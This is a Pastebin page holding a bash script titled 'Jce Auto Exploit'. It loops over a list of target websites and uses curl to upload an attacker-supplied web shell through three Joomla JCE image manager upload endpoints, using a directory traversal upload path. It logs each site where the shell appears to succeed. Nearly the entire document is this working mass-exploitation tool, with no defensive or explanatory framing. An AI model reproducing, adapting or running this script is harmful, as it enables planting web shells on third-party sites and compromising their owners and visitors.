Advertisement
LittleJok3r

Jce Auto Exploit

Feb 14th, 2019
930
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.76 KB | None | 0 0
  1. #!/bin/bash
  2. #LittleJok3r ~ @d3pTeam ~ magelang1337.com
  3. #usage bash jce.sh
  4. cyan='\033[0;36m'
  5. green='\e[92m'
  6. red='\033[0;31m'
  7. jce(){
  8. if [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/component/option,com_jce/action,upload/file,imgmanager/lang,en/method,form/plugin,imgmanager/task,plugin/" | grep -o "$shell") =~ "$shell" ]];
  9.    then
  10.    printf "$green [+] Sukses\n"
  11.    echo "$site/$shell" | tee -a result_jce.txt
  12.    elif [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&action=upload" | grep -o "$shell") =~ "$shell" ]];
  13.    then
  14.    printf "$green [+] Sukses\n"
  15.    echo "$site/$shell" | tee -a result_jce.txt
  16.    elif [[ $(curl --silent -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" -F 'upload-dir=./../../' -F 'upload-overwrite=0' -F Filedata=@$shell -F 'action=upload' "$site/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20" | grep -o "$shell") =~ "$shell" ]];
  17.    then
  18.    printf "$green [+] Sukses\n"
  19.    echo "$site/$shell" | tee -a result_jce.txt
  20.    else
  21.    printf "$red [+] Failed\n"
  22.    fi
  23.   }
  24. read -p "List Target : " list
  25. read -p "Your Shell : " shell
  26. for site in $(cat $list); do
  27.       printf "$cyan[Try] $site \n"
  28.       jce $site $shell
  29.     done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement